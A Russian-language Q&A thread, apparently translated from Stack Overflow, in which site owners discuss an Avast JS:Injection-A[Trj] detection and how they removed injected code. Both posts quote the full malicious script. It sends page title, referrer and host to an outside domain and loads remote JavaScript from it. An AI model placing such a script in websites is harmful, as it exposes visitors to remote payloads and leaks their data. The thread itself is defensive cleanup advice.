Avast выдает ошибку JS:Injection-A[Trj] на моем сайте

Сегодня я получил предупреждение от Avast, когда хотел войти на свой сайт: forumhan.com.

Чтобы понять это, у вас должен быть установлен Avast на вашем компьютере.

Мой сайт был заражен JS:Injection-A[Trj] — поэтому он не отображался.

И когда я смотрю, я нашел это в своем заголовке:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

Поскольку я не профессионал, я не могу понять, есть ли связь с другими файлами.

Есть ли в этом коде обращение к другим файлам?

Удаление решит проблему или нет?

Я удалил его, но не вижу свою веб-страницу.


person lospicos    schedule 09.12.2015    source источник


Ответы (1)


Я нашел решение.

Проблема в том, что вы говорите. Кто-то внедрил этот код на ваш сайт (и на мой тоже). Итак, что я сделал, так это выбрал этот фрагмент:

encodeURIComponent(document.title)

и ищите в папке htdocs все файлы с Notepad++ на сервере.

Тогда я нашел что-то вроде этого:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://delicefilm.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

здесь:

введите здесь описание изображения

И я стер его из всех файлов. И это все!

Надеюсь, это сработает и для вас! :)

person Dani G.    schedule 13.01.2016